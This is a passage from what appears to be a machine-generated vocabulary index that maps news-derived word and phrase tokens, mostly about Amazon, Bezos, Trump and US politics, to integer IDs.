9121, "cities rich": 9122, "topics guns": 9123, "presumably": 9124, "reportedly visited": 9125, "residents rep": 9126, "term traders": 9127, "human passengers": 9128, "category despite": 9129, "stops streaming": 9130, "speculation amazon": 9131, "high places": 9132, "attempt related": 9133, "leftward lurch": 9134, "state assembly": 9135, "appointments": 9136, "smore reaction": 9137, "cancelled wrote": 9138, "delivery invalid": 9139, "river rose": 9140, "particular type": 9141, "years additionally": 9142, "writer taxi": 9143, "volunteered": 9144, "blonds": 9145, "create monopoly": 9146, "saudi embassy": 9147, "trippet": 9148, "cruising": 9149, "scale headlineposttext": 9150, "amzn commerce": 9151, "billmurphyjr sectionection": 9152, "members 98point6": 9153, "fathom": 9154, "boycottwalmart walmart": 9155, "host chris": 9156, "day key": 9157, "zinke aide": 9158, "rentiers": 9159, "business retailers": 9160, "x8": 9161, "raucous": 9162, "technically employees": 9163, "efficiency according": 9164, "321 pictures": 9165, "bigots": 9166, "permitted comments": 9167, "california told": 9168, "enter president": 9169, "smithbridge asset": 9170, "seen growth": 9171, "companies optimize": 9172, "satisfied just": 9173, "snowden": 9174, "vadim ghirda": 9175, "today najib": 9176, "buskers": 9177, "spring speculation": 9178, "national bureau": 9179, "newspaper murdoch": 9180, "amzn doesn": 9181, "construction grants": 9182, "1890 congressed": 9183, "mercury": 9184, "account source": 9185, "syrian rebels": 9186, "discounted vehicles": 9187, "medical building": 9188, "owns posted": 9189, "awkward eleanor": 9190, "milestone amazon": 9191, "brace": 9192, "aws kindle": 9193, "nation political": 9194, "today include": 9195, "dot balls": 9196, "group u2": 9197, "experience otting": 9198, "plan expired": 9199, "city section": 9200, "overall number": 9201, "strife": 9202, "series beatriz": 9203, "hob nobbed": 9204, "simply need": 9205, "amazon huh": 9206, "british financial": 9207, "boost gop": 9208, "statement issued": 9209, "speech warren": 9210, "story mimi": 9211, "scripts possibly": 9212, "279": 9213, "greatly expanding": 9214, "york committed": 9215, "shipping revenue": 9216, "work things": 9217, "commission pick": 9218, "najaf": 9219, "post perennial": 9220, "amzn free": 9221, "rural counties": 9222, "discharges": 9223, "memorable moments": 9224, "redevelop site": 9225, "sock tariffs": 9226, "shanghai tesla": 9227, "richard rick": 9228, "readers truthout": 9229, "harir": 9230, "purchases regardless": 9231, "tempts": 9232, "enforcement agent": 9233, "spreading fake": 9234, "rescue specialists": 9235, "dakota oklahoma": 9236, "innovation enterprise": 9237, "workers party": 9238, "policymaking": 9239, "rollercoaster events": 9240, "report division": 9241, "hb40": 9242, "musk eric": 9243, "amazon congress": 9244, "amazon banning": 9245, "mean increased": 9246, "slightly missing": 9247, "pf_rd_s merchandised": 9248, "slightly better": 9249, "consisted": 9250, "nation address": 9251, "york casually": 9252, "better shape": 9253, "plane shot": 9254, "possible motives": 9255, "gaap net": 9256, "away business": 9257, "stings": 9258, "program indicators": 9259, "mike myers": 9260, "sa gage": 9261, "attract employees": 9262, "arpu lower": 9263, "mayor keisha": 9264, "basically blaming": 9265, "service interruption": 9266, "entities meeting": 9267, "tourist waving": 9268, "extensive high": 9269, "improvements alibaba": 9270, "million pledge": 9271, "m8": 9272, "ontwitter calling": 9273, "upcoming second": 9274, "retroactively": 9275, "2016 national": 9276, "pulling scam": 9277, "mickler michael": 9278, "biolite headlamp": 9279, "washington home": 9280, "helps travelers": 9281, "rica del": 9282, "founder jeffrey": 9283, "global conspiracy": 9284, "density": 9285, "indigenous perspective": 9286, "deadly crash": 9287, "source cnbc": 9288, "continuously look": 9289, "police car": 9290, "various instruments": 9291, "inextricably": 9292, "old gamer": 9293, "tax rate": 9294, "walter nancy": 9295, "exhibit seasonality": 9296, "refineries suncor": 9297, "vital arts": 9298, "bloc": 9299, "nce": 9300, "columbia": 9301, "privacy rules": 9302, "cinder girl": 9303, "oregon couple": 9304, "delivery startups": 9305, "7ab7ujklw9": 9306, "investigating using": 9307, "company service": 9308, "report examined": 9309, "longtime republican": 9310, "particular metropolis": 9311, "investigation kelly": 9312, "google hints": 9313, "height 619": 9314, "dpid 41cgljgol2l": 9315, "mega successful": 9316, "rates directing": 9317, "electoral chances": 9318, "immediately respond": 9319, "fired president": 9320, "prns llc": 9321, "infected tissue": 9322, "fact dershowitz": 9323, "long sleeved": 9324, "trust fund": 9325, "block new": 9326, "potential blow": 9327, "weren sufficient": 9328, "sachs david": 9329, "gallerytitle": 9330, "near week": 9331, "spanish civil": 9332, "stamps medicaid": 9333, "cascading scandals": 9334, "currently going": 9335, "allow callers": 9336, "net bookings": 9337, "people craw": 9338, "entrepreneurs launch": 9339, "pro reality": 9340, "detect bad": 9341, "unsound": 9342, "new fulfillment": 9343, "supermicro motherboards": 9344, "clothing jewelry": 9345, "priebus": 9346, "distribution process": 9347, "herera tomorrow": 9348, "confuse": 9349, "popular place": 9350, "chemical romance": 9351, "leslie takes": 9352, "customers searching": 9353, "cbs severe": 9354, "company deal": 9355, "usps shipping": 9356, "member paul": 9357, "briefly": 9358, "having supported": 9359, "oligarchs liberals": 9360, "trial kicks": 9361, "campaign spontaneously": 9362, "party officials": 9363, "motivates staff": 9364, "times reporter": 9365, "incentives package": 9366, "asian mkts": 9367, "eventually ciecko": 9368, "egypt exiles": 9369, "invests money": 9370, "trump adult": 9371, "uber lyft": 9372, "investigations spokesman": 9373, "years irs": 9374, "sized": 9375, "wifi": 9376, "campanelli": 9377, "earl ofari": 9378, "rebates": 9379, "solutions michael": 9380, "holdings dillon": 9381, "trump holds": 9382, "insulted woman": 9383, "vanessa kirby": 9384, "shipping market": 9385, "sciences names": 9386, "valley luminaries": 9387, "previous level": 9388, "nash 39m": 9389, "mayor durkan": 9390, "sarlin benjysarlin": 9391, "sequel trump": 9392, "marketplaces amazon": 9393, "000 annually": 9394, "kudlow wanted": 9395, "delves closer": 9396, "bezos sure": 9397, "face bezos": 9398, "government stalemate": 9399, "met amazon": 9400, "local law": 9401, "digitally hungry": 9402, "second perspective": 9403, "zone day": 9404, "ivy league": 9405, "invesco holds": 9406, "subsidizes amazon": 9407, "rent operating": 9408, "opened obstruction": 9409, "852": 9410, "provides technology": 9411, "coming investment": 9412, "ago editorial": 9413, "payback amazon": 9414, "emailed lawyer": 9415, "isn real": 9416, "richest person": 9417, "infringe": 9418, "just embarrassed": 9419, "appearances amazon": 9420, "addresses list": 9421, "unit human": 9422, "cave experts": 9423, "worldwide\u0430before": 9424, "new trend": 9425, "create splits": 9426, "vis vis": 9427, "detailed correspondence": 9428, "public resources": 9429, "majority spokesman": 9430, "dangerous precedent": 9431, "amazon acquiescence": 9432, "tale ulrich": 9433, "health threats": 9434, "ordonez": 9435, "witted satire": 9436, "tired going": 9437, "boy despite": 9438, "romero house": 9439, "miami took": 9440, "newsy affiliate": 9441, "just crazy": 9442, "delivery process": 9443, "guy ritchie": 9444, "amazon 575": 9445, "amazon meteoric": 9446, "existing brand": 9447, "mustard ribbon": 9448, "copies prior": 9449, "cnl_calculated_color null": 9450, "industrial development": 9451, "computer engineering": 9452, "willowy figure": 9453, "national rifle": 9454, "jim nantz": 9455, "street oldest": 9456, "create losers": 9457, "leavell": 9458, "negative outcome": 9459, "damage injury": 9460, "men laughs": 9461, "feds gradually": 9462, "development equivalent": 9463, "articles revealing": 9464, "surveys": 9465, "new political": 9466, "soda colorado": 9467, "highlights memphian": 9468, "muslim mayor": 9469, "defense say": 9470, "augment": 9471, "corp stenhouse": 9472, "veteran daniel": 9473, "footy": 9474, "craig phillips": 9475, "appreciation chase": 9476, "spoke": 9477, "super mad": 9478, "purposely": 9479, "nearly gone": 9480, "confront illegal": 9481, "2935575": 9482, "vapor": 9483, "257 enables": 9484, "service fair": 9485, "things history": 9486, "barrow grand": 9487, "dosage": 9488, "wildlife connecting": 9489, "post moving": 9490, "eat": 9491, "largess does": 9492, "plodded": 9493, "private parts": 9494, "bleday": 9495, "times news": 9496, "century ago": 9497, "allow freebies": 9498, "assistant district": 9499, "safety drills": 9500, "stewart cousins": 9501, "threa": 9502, "tax avoiders": 9503, "meghan markle": 9504, "philly business": 9505, "violate": 9506, "politics email": 9507, "lipton": 9508, "market punished": 9509, "medium dominated": 9510, "encourages": 9511, "belgium": 9512, "economy think": 9513, "endure long": 9514, "judd": 9515, "doll": 9516, "mccain joke": 9517, "temperatures near": 9518, "cast cloud": 9519, "night nbc": 9520, "wage gap": 9521, "gottesman": 9522, "asking questions": 9523, "ezra": 9524, "strong jobs": 9525, "maria karaivanova": 9526, "morning radio": 9527, "legendary innovator": 9528, "techno": 9529, "right yup": 9530, "biggest players": 9531, "won swath": 9532, "investorideas": 9533, "2018 argentina": 9534, "diligent remembering": 9535, "twitter calebecarma": 9536, "provider stamps": 9537, "york agreement": 9538, "just ceo": 9539, "invest advsrs": 9540, "2016 making": 9541, "90pc": 9542, "neil gaiman": 9543, "amazon playbook": 9544, "far trump": 9545, "long bat": 9546, "10th torrid": 9547, "amid allegations": 9548, "candidate cities": 9549, "reporter million": 9550, "zhu company": 9551, "canada construction": 9552, "1994 share": 9553, "keating": 9554, "progress reports": 9555, "invoking king": 9556, "bs_bullet_primary losing": 9557, "pearson": 9558, "ba shares": 9559, "designed just": 9560, "sue scheff": 9561, "consultant hired": 9562, "renamed": 9563, "180": 9564, "companies holding": 9565, "wrote spokesman": 9566, "hate organizations": 9567, "vintage car": 9568, "tale pitting": 9569, "caller peter": 9570, "inc_homepage_headline_ab_test inc_headline": 9571, "inc5000companies": 9572, "project phil": 9573, "methodical": 9574, "eds": 9575, "owner stephanie": 9576, "day visit": 9577, "information far": 9578, "marketplace presenting": 9579, "receive opposition": 9580, "crazy multiplicity": 9581, "talk taxes": 9582, "subsequently": 9583, "discernable": 9584, "document points": 9585, "institutions ranging": 9586, "included investment": 9587, "money controlled": 9588, "legislative level": 9589, "tech continued": 9590, "reading alexandria": 9591, "narrow market": 9592, "ladies": 9593, "health freedom": 9594, "murders occurs": 9595, "king isbn": 9596, "huis kopen": 9597, "eat little": 9598, "mazie hirono": 9599, "bufe bufesam": 9600, "hogan sued": 9601, "purportedly": 9602, "sculptor": 9603, "know newer": 9604, "changes analysts": 9605, "blocked nationwide": 9606, "memphis company": 9607, "customers samsung": 9608, "abusive kalanick": 9609, "sulzberger": 9610, "children lost": 9611, "fitch": 9612, "france fears": 9613, "video earlier": 9614, "choose better": 9615, "better able": 9616, "local site": 9617, "baldwin donald": 9618, "reduce deliveries": 9619, "free world": 9620, "2f17855358": 9621, "unsparingly reported": 9622, "investment mode": 9623, "paul": 9624, "lost wages": 9625, "internships": 9626, "bezos describing": 9627, "harris poll": 9628, "lo": 9629, "publisher confessed": 9630, "latest expose": 9631, "pittohio united": 9632, "share prices": 9633, "cramer notes": 9634, "vinograd": 9635, "rhee": 9636, "elections did": 9637, "recent decision": 9638, "special education": 9639, "editors writing": 9640, "rift seen": 9641, "mentoring series": 9642, "turned president": 9643, "representative mailed": 9644, "hike plans": 9645, "office report": 9646, "proactive measures": 9647, "weak china": 9648, "primary fight": 9649, "national figures": 9650, "news servers": 9651, "saying search": 9652, "commentator van": 9653, "social responsibility": 9654, "myles miller": 9655, "children small": 9656, "sorrow donald": 9657, "government atthe": 9658, "economy killing": 9659, "rivers usa": 9660, "products food": 9661, "eat etsy": 9662, "compatible dash": 9663, "tory mps": 9664, "nextvideoplaytimeout var": 9665, "matter instead": 9666, "fcc election": 9667, "hiking little": 9668, "outlook missed": 9669, "movies carrie": 9670, "competitive economic": 9671, "word class": 9672, "dupont": 9673, "conditions bernie": 9674, "barred usps": 9675, "agency boasted": 9676, "ultra hd": 9677, "executive summary": 9678, "delivery enterprise": 9679, "app moody": 9680, "gillian": 9681, "alleged ties": 9682, "recyclable": 9683, "built president": 9684, "ray weaver": 9685, "korea relations": 9686, "personal belief": 9687, "frequently referred": 9688, "stunning portrait": 9689, "1021388295618682881": 9690, "cleveland things": 9691, "words photo": 9692, "soy growing": 9693, "mike stobe": 9694, "record immigration": 9695, "couple thousand": 9696, "monarch dividing": 9697, "media film": 9698, "crying lowlife": 9699, "badly damaged": 9700, "rivals complaints": 9701, "240 discrete": 9702, "occupational": 9703, "transmit stories": 9704, "gac": 9705, "democrats reported": 9706, "newspaper speculated": 9707, "suggested pentagon": 9708, "number 248": 9709, "trump epa": 9710, "prepare report": 9711, "royalty checks": 9712, "institute conference": 9713, "delivery investors": 9714, "ceo sergio": 9715, "equal service": 9716, "months compared": 9717, "valley red": 9718, "hrrr model": 9719, "blacks work": 9720, "unite": 9721, "catholic mass": 9722, "nana kwame": 9723, "copy production": 9724, "trump branded": 9725, "rainfall snow": 9726, "senior senator": 9727, "amazon arlington": 9728, "important": 9729, "meaningful difference": 9730, "networks pen": 9731, "light black": 9732, "blue box": 9733, "vstop": 9734, "chris matthews": 9735, "using catch": 9736, "z6": 9737, "new boxes": 9738, "chairman adam": 9739, "pornography trafficking": 9740, "joined mitt": 9741, "resume nuclear": 9742, "rich betsy": 9743, "daily decline": 9744, "advertises": 9745, "agreement new": 9746, "acquire media": 9747, "agencies holiday": 9748, "lead bezos": 9749, "bob rolfe": 9750, "company senator": 9751, "wider review": 9752, "sensitive details": 9753, "amazon safe": 9754, "simmons": 9755, "ponders aloud": 9756, "business raising": 9757, "glass animals": 9758, "billion incentive": 9759, "usps fedex": 9760, "resistance inside": 9761, "news sean": 9762, "hit black": 9763, "similar charges": 9764, "rally held": 9765, "maintains": 9766, "sharing agreements": 9767, "report does": 9768, "apolitical compared": 9769, "mess": 9770, "thundering ahead": 9771, "administration think": 9772, "roofs": 9773, "newswire": 9774, "koning beals": 9775, "immediate": 9776, "sacramento bee": 9777, "substances": 9778, "cnbc trump": 9779, "finance carrie": 9780, "carroll": 9781, "sun paid": 9782, "haverty thanks": 9783, "sentence following": 9784, "new song": 9785, "cower": 9786, "cites gains": 9787, "foundational commercial": 9788, "reel": 9789, "available exclusively": 9790, "party progressives": 9791, "obstruction president": 9792, "robinson hall": 9793, "kerry": 9794, "global far": 9795, "whacks": 9796, "economist greg": 9797, "modern locations": 9798, "hathaway annual": 9799, "trump beat": 9800, "mph": 9801, "point nvidiahttps": 9802, "busch inbev": 9803, "inch screen": 9804, "teachable moments": 9805, "began dating": 9806, "founder donald": 9807, "enemy number": 9808, "far did": 9809, "looks conspiracy": 9810, "soon": 9811, "months icann": 9812, "postal scene": 9813, "islamic terror": 9814, "approached bezos": 9815, "pets solidly": 9816, "property jeff": 9817, "fonda": 9818, "buries": 9819, "union explained": 9820, "trump socks": 9821, "court highlighted": 9822, "owned newspaper": 9823, "comments position": 9824, "drone pelosi": 9825, "tablet roku": 9826, "dark bold": 9827, "regularly called": 9828, "corruption prefer": 9829, "sister ms": 9830, "filers deal": 9831, "rentier did": 9832, "acquired weed": 9833, "bottles": 9834, "reputations interested": 9835, "granted 549": 9836, "public function": 9837, "scathing reports": 9838, "having thousands": 9839, "undateable 2018": 9840, "bayn xe": 9841, "recently faced": 9842, "sweet": 9843, "reputation brokers": 9844, "largest banks": 9845, "aba bookselling": 9846, "video highlighting": 9847, "organization did": 9848, "satanism including": 9849, "data usage": 9850, "goods investigated": 9851, "delayed deferred": 9852, "le fake": 9853, "prospective law": 9854, "penned viral": 9855, "includes fleets": 9856, "hicks compares": 9857, "exchanges spoke": 9858, "owned website": 9859, "zemsky": 9860, "motto democracy": 9861, "barclays capital": 9862, "responsive steering": 9863, "saveourfuture": 9864, "jessie singleton": 9865, "attracted offers": 9866, "crisis spiritual": 9867, "sanders interests": 9868, "pay big": 9869, "enthusiasm majority": 9870, "amazon italy": 9871, "troop deployment": 9872, "democratic incumbents": 9873, "used inopposition": 9874, "gossip fodder": 9875, "day collapse": 9876, "commerce suffered": 9877, "whohave": 9878, "amazon google": 9879, "eliminating counterfeit": 9880, "online walmart": 9881, "policy prescriptions": 9882, "stonecrest city": 9883, "jquery owl": 9884, "shortlisted cities": 9885, "bernie introduced": 9886, "definitively": 9887, "amazon priorities": 9888, "protestors play": 9889, "making gangster": 9890, "sector ubs": 9891, "ives managing": 9892, "people lie": 9893, "understand meaning": 9894, "choose particular": 9895, "reports citing": 9896, "diminished relative": 9897, "initially cleared": 9898, "krasinski playing": 9899, "isn news": 9900, "tweet featuring": 9901, "way transition": 9902, "exchanged": 9903, "favorites amazon": 9904, "blattner": 9905, "contributor telly": 9906, "allegations phoenix": 9907, "ultimately deport": 9908, "davis hitless": 9909, "gritty data": 9910, "palantir amazon": 9911, "relations committee": 9912, "abc cohen": 9913, "npr follow": 9914, "incite": 9915, "bernanke henry": 9916, "giant tax": 9917, "reservation boundaries": 9918, "clayton wasn": 9919, "surrounding trump": 9920, "reaps": 9921, "amazon narrow": 9922, "gotham gazette": 9923, "cat image": 9924, "decline underway": 9925, "bolden lasted": 9926, "retailer birkenstock": 9927, "raised": 9928, "loving exploration": 9929, "gains roll": 9930, "iconic man": 9931, "service categories": 9932, "shrm": 9933, "amazonis": 9934, "investment team": 9935, "continuously scan": 9936, "duopoly": 9937, "maintain place": 9938, "solidly": 9939, "960x0": 9940, "million square": 9941, "good work": 9942, "electronic communication": 9943, "order fulfillment": 9944, "site did": 9945, "year business": 9946, "sinclair inlet": 9947, "value uk": 9948, "pocketbook": 9949, "angst": 9950, "feature sen": 9951, "grease": 9952, "puckering": 9953, "mechanism gidley": 9954, "share bar": 9955, "harmful spam": 9956, "wrongfully": 9957, "downton": 9958, "liberal lobby": 9959, "reported wells": 9960, "retailers roughly": 9961, "stir concern": 9962, "schedule appreciate": 9963, "healey": 9964, "withdraw": 9965, "queries": 9966, "davidson isn": 9967, "trade tactics": 9968, "targeted tech": 9969, "green book": 9970, "191 jeff": 9971, "malaise": 9972, "crashed washington": 9973, "reagan era": 9974, "recommended shares": 9975, "encounter protests": 9976, "partying": 9977, "covering sex": 9978, "flirting": 9979, "objectively interpreting": 9980, "nearby wailing": 9981, "hacked according": 9982, "tax small": 9983, "issa announced": 9984, "president gw": 9985, "400 locations": 9986, "chief investment": 9987, "labor michaelcohen": 9988, "fits perfectly": 9989, "historically large": 9990, "big quarter": 9991, "origins trace": 9992, "outperform rating": 9993, "democrats intend": 9994, "term noise": 9995, "illustrator cig": 9996, "minus percentage": 9997, "holly hatam": 9998, "taxpayers subsidize": 9999, "prepaid cellular": 10000, "beast broke": 10001, "direct mail": 10002, "fee hike": 10003, "customers html": 10004, "hardball tactic": 10005, "leaving trump": 10006, "road near": 10007, "2017 andrew": 10008, "affect delivery": 10009, "president alleged": 10010, "campaign john": 10011, "baltxqyvjb": 10012, "high 93f": 10013, "texas rio": 10014, "blackfridays walkouts": 10015, "gaze": 10016, "minds tucker": 10017, "scrutiny facebook": 10018, "raiders project": 10019, "won gold": 10020, "lengthy letter": 10021, "efficient way": 10022, "gives mccabe": 10023, "words monopsony": 10024, "gibson 425": 10025, "danhof aimed": 10026, "stage talk": 10027, "investment richard": 10028, "62ee8090a867": 10029, "ebay did": 10030, "apprentice action": 10031, "simultaneously purchase": 10032, "unstable": 10033, "california spokesperson": 10034, "living": 10035, "suzie mason": 10036, "meddling ran": 10037, "local concern": 10038, "people start": 10039, "acquisitions george": 10040, "ice troubling": 10041, "shepardson washington": 10042, "dame adding": 10043, "cara mentzel": 10044, "markets coverage": 10045, "cards letters": 10046, "yesteryear": 10047, "premeditated": 10048, "cutting short": 10049, "networks congress": 10050, "played central": 10051, "private contractors": 10052, "including increased": 10053, "trump shot": 10054, "amazon controversial": 10055, "whittier tru": 10056, "argues revealing": 10057, "speculate handle": 10058, "spousal support": 10059, "lion air": 10060, "sectors retail": 10061, "democrats progressives": 10062, "expertise washington": 10063, "buh bye": 10064, "violent crimes": 10065, "announcement bezos": 10066, "signs trump": 10067, "roll lately": 10068, "cincinnati metropolitan": 10069, "saudi arabia": 10070, "apply double": 10071, "say president": 10072, "right mycolleague": 10073, "analysts cut": 10074, "planthat professionals": 10075, "welfare state": 10076, "children services": 10077, "chief vicki": 10078, "wasn sure": 10079, "null readmorearticles": 10080, "converting certain": 10081, "facebook shareholder": 10082, "told supporters": 10083, "federation osm": 10084, "electoral": 10085, "sexual peacockery": 10086, "favorites deep": 10087, "906": 10088, "marketwatch amazon": 10089, "line euro": 10090, "merch empire": 10091, "guadalajara": 10092, "marketwatch": 10093, "weather news": 10094, "terrible person": 10095, "nbc kate": 10096, "product spokeswoman": 10097, "cable operators": 10098, "lashinsky": 10099, "comparable switches": 10100, "bowser": 10101, "president woodrow": 10102, "tested amazon": 10103, "donated significant": 10104, "recent statements": 10105, "chairman elected": 10106, "similar products": 10107, "amazon offering": 10108, "silk appeared": 10109, "press chicken": 10110, "personal investing": 10111, "distressed children": 10112, "stores morgan": 10113, "book parody": 10114, "provides readers": 10115, "fran\u00e7oise": 10116, "trending trump": 10117, "card expert": 10118, "counterproductive": 10119, "public trump": 10120, "younis takes": 10121, "couch buy": 10122, "trade frictions": 10123, "eugene kim": 10124, "plot court": 10125, "alienist netflix": 10126, "bare minimum": 10127, "repeatedly refusing": 10128, "outgoing wisconsin": 10129, "ones vox": 10130, "boring response": 10131, "5e1040253796293795842 ref_url": 10132, "pre funding": 10133, "snow day": 10134, "robert kennedy": 10135, "box retail": 10136, "guy says": 10137, "kurth llp": 10138, "repeat violators": 10139, "wealthiest metropolitan": 10140, "angelica mari": 10141, "service roughly": 10142, "anodyne disposable": 10143, "sicilian": 10144, "56am commentary": 10145, "service meaning": 10146, "commercial goods": 10147, "official wedding": 10148, "spanish politician": 10149, "shirt yodeling": 10150, "compromising nude": 10151, "casket": 10152, "critics understate": 10153, "tributary": 10154, "counterfeits using": 10155, "discourage reporting": 10156, "faang bull": 10157, "region photo": 10158, "mueller records": 10159, "american academy": 10160, "researcher reports": 10161, "boorstin reports": 10162, "raise costs": 10163, "intelligence researchers": 10164, "inform citizens": 10165, "boardrooms": 10166, "unborn child": 10167, "displaced low": 10168, "nonfiction book": 10169, "dinam\u00e3": 10170, "local taxes": 10171, "map 20180808": 10172, "just slamming": 10173, "amazon registry": 10174, "hey realdonaldtrump": 10175, "follows suzy": 10176, "coast steyer": 10177, "governor lining": 10178, "quarters male": 10179, "reuters near": 10180, "college grads": 10181, "sky rider": 10182, "whereso far": 10183, "winners business": 10184, "car tariffs": 10185, "comment aboutbezos": 10186, "backlash rears": 10187, "taped": 10188, "charlotte economic": 10189, "sud": 10190, "legitimate culturally": 10191, "expansion jacinta": 10192, "secretary says": 10193, "select shoppers": 10194, "sister intimate": 10195, "patients medical": 10196, "ref_src twsrc": 10197, "marion": 10198, "producer jordan": 10199, "scenery chewing": 10200, "deliveries rose": 10201, "kudlow routinely": 10202, "vetting process": 10203, "public relations": 10204, "hope sensing": 10205, "unit sales": 10206, "grinds": 10207, "pretty solid": 10208, "gizmodo": 10209, "king latest": 10210, "blood clot": 10211, "defense components": 10212, "escalated amazon": 10213, "trump ramps": 10214, "600 miles": 10215, "a4ee q8": 10216, "ill mcdonald": 10217, "colonial mansion": 10218, "biden correctly": 10219, "aired segment": 10220, "helps amazon": 10221, "involuntary": 10222, "center says": 10223, "action wasn": 10224, "internet start": 10225, "kelley": 10226, "light bulbs": 10227, "yeezy sneakers": 10228, "driven entirely": 10229, "announced divorce": 10230, "consumption bringing": 10231, "companies using": 10232, "cleaning women": 10233, "heartland unease": 10234, "paraphrase": 10235, "najarian think": 10236, "amzn management": 10237, "siri switched": 10238, "bezos dick": 10239, "cuomo": 10240, "network chief": 10241, "adroitly fortified": 10242, "ghetto": 10243, "undermined congress": 10244, "attack specifically": 10245, "activated customers": 10246, "collaborate": 10247, "schedule meeting": 10248, "carlos ghosn": 10249, "goodman": 10250, "story hotstar": 10251, "shopify strategic": 10252, "big amazon": 10253, "foods promised": 10254, "cohn anddomestic": 10255, "descriptionplaintext cnn": 10256, "semissourian": 10257, "area creating": 10258, "enquirer investigates": 10259, "companies did": 10260, "federal reserve": 10261, "knowingly": 10262, "warmer welcome": 10263, "school libraries": 10264, "bezos tweet": 10265, "business alphabet": 10266, "lynch twin": 10267, "raise taxes": 10268, "doing celebratory": 10269, "policies bolsonaro": 10270, "climate munduruku": 10271, "toni morrison": 10272, "prospective students": 10273, "captionwas trump": 10274, "brandingimageurl brandingtexthead": 10275, "experiencing strong": 10276, "140bn divorce": 10277, "performers including": 10278, "apple music": 10279, "little state": 10280, "compel retailers": 10281, "negotiating breakthrough": 10282, "amzn company": 10283, "176": 10284, "nova": 10285, "hot right": 10286, "search experts": 10287, "lead retail": 10288, "runs apple": 10289, "ukrainian": 10290, "thundered": 10291, "lengthy medium": 10292, "lady michelle": 10293, "waver": 10294, "state requests": 10295, "controllers": 10296, "37th": 10297, "means moves": 10298, "profit prison": 10299, "letting": 10300, "istock new": 10301, "customer support": 10302, "retailers opening": 10303, "test drones": 10304, "white duke": 10305, "sen josh": 10306, "points right": 10307, "elected official": 10308, "poultry": 10309, "secretary steven": 10310, "best employees": 10311, "saying publicly": 10312, "democrat prevailed": 10313, "little indication": 10314, "increasingly hard": 10315, "platforms google": 10316, "pecker attempt": 10317, "expedition": 10318, "touches seen": 10319, "trump baseless": 10320, "profile news": 10321, "en lucha": 10322, "federal machinery": 10323, "highest financial": 10324, "kristol billkristol": 10325, "parts alarm": 10326, "trump hate": 10327, "gallaway": 10328, "extraordinarily privileged": 10329, "possible run": 10330, "william gates": 10331, "implicated": 10332, "color specifically": 10333, "forest watchdog": 10334, "human instincts": 10335, "argues david": 10336, "downer": 10337, "bob oswald": 10338, "prices mirror": 10339, "instituto": 10340, "arrangement works": 10341, "permitting 3rd": 10342, "way perfect": 10343, "profit company": 10344, "pinched": 10345, "elections resurgent": 10346, "states beijing": 10347, "bye": 10348, "fired afterworking": 10349, "white conservative": 10350, "retaken": 10351, "fraudulent data": 10352, "critics creates": 10353, "amazon outdated": 10354, "major technology": 10355, "competitive threats": 10356, "worker ants": 10357, "briefly edged": 10358, "zuker works": 10359, "brethren": 10360, "explained axios": 10361, "diapers bezos": 10362, "seminal paper": 10363, "irish ambassador": 10364, "anticipating lower": 10365, "wider effect": 10366, "typically proliferate": 10367, "delivery costs": 10368, "infected father": 10369, "st skids": 10370, "lii players": 10371, "coffee companies": 10372, "stephens investment": 10373, "insider homepage": 10374, "markup": 10375, "force chaired": 10376, "latertoday": 10377, "trump sons": 10378, "paying sources": 10379, "ernesto": 10380, "trump pi\u00f1ata": 10381, "campaign despite": 10382, "loopholes galore": 10383, "washington locked": 10384, "splc long": 10385, "metoo connection": 10386, "treading": 10387, "sourced material": 10388, "bezos protests": 10389, "illegal campaign": 10390, "refugee resettlement": 10391, "consistently frustrated": 10392, "wildly successful": 10393, "acheive": 10394, "lawmakers letter": 10395, "34852323": 10396, "vermont sen": 10397, "figure jericka": 10398, "instability": 10399, "receiving conflicting": 10400, "navigate": 10401, "mail traditional": 10402, "pre financing": 10403, "general crowded": 10404, "research sent": 10405, "delivers speech": 10406, "added referring": 10407, "offer fpo": 10408, "amounting": 10409, "products inconsistencies": 10410, "06m shares": 10411, "800 pound": 10412, "getting leaner": 10413, "pirro competing": 10414, "shareholder letters": 10415, "twitter share": 10416, "granted exemptions": 10417, "rosenthal just": 10418, "jamie gorelick": 10419, "automobiles american": 10420, "timely manner": 10421, "factset nearly": 10422, "backstage": 10423, "journalists bezos": 10424, "wide choice": 10425, "466": 10426, "leave training": 10427, "impeach trump": 10428, "confident sellers": 10429, "doctor response": 10430, "harshly critical": 10431, "lockdown": 10432, "people right": 10433, "guest fatigue": 10434, "new overseas": 10435, "ambassador woody": 10436, "working smarter": 10437, "photo vatican": 10438, "encryption": 10439, "chartist": 10440, "investigation depending": 10441, "promised infusion": 10442, "news marketwatch": 10443, "question christine": 10444, "poodle amazon": 10445, "reportedly advised": 10446, "margaret coat": 10447, "snort": 10448, "taxpayer friendly": 10449, "relationship called": 10450, "aws customer": 10451, "mimi walters": 10452, "opening night": 10453, "provide faster": 10454, "cramer buys": 10455, "justice probe": 10456, "camilla": 10457, "written based": 10458, "retail outlets": 10459, "industry bids": 10460, "higher levels": 10461, "based wells": 10462, "latin entrepreneurs": 10463, "shares apriem": 10464, "creator": 10465, "soon begin": 10466, "economy reports": 10467, "hated wires": 10468, "voice service": 10469, "designed": 10470, "president shares": 10471, "brain depends": 10472, "lestenkof": 10473, "smart speakers": 10474, "srcdoc": 10475, "growing sales": 10476, "paul trump": 10477, "marr chye": 10478, "conspiring": 10479, "stock dipped": 10480, "bythe": 10481, "thanks actually": 10482, "brief statement": 10483, "senior": 10484, "takes greater": 10485, "2018 happy": 10486, "business book": 10487, "shorrible": 10488, "housing repairs": 10489, "english small": 10490, "murder tax": 10491, "minter letting": 10492, "counterpart": 10493, "says deputy": 10494, "repurchasing": 10495, "including motherboards": 10496, "small bump": 10497, "undersecretary": 10498, "conveyable cloth": 10499, "anchor": 10500, "exclusionary conduct": 10501, "glimmering": 10502, "georgefoster72": 10503, "created earlier": 10504, "allow brands": 10505, "ease import": 10506, "firm believer": 10507, "lexington school": 10508, "headquarters tax": 10509, "20again cat_id": 10510, "international platform": 10511, "general mark": 10512, "amazon 1750": 10513, "elections buy": 10514, "good experience": 10515, "actually wrote": 10516, "texts included": 10517, "intellectual disabilities": 10518, "serial killer": 10519, "ggqfsweim0 ryan": 10520, "yes amazon": 10521, "qualifying military": 10522, "seattle bezos": 10523, "homebuilding empire": 10524, "cozy": 10525, "expansion outside": 10526, "defense": 10527, "sent 175": 10528, "fair published": 10529, "amazon drone": 10530, "snapchat": 10531, "orders according": 10532, "ignorance": 10533, "momsrising": 10534, "tbelieve": 10535, "general statements": 10536, "experience": 10537, "state noted": 10538, "prevention workflows": 10539, "skidding": 10540, "georgia parents": 10541, "transition workforce": 10542, "attorney ellison": 10543, "getty olivier": 10544, "promote competition": 10545, "farheen": 10546, "chicago washington": 10547, "dr atul": 10548, "popular fear": 10549, "allies skeptical": 10550, "abandon 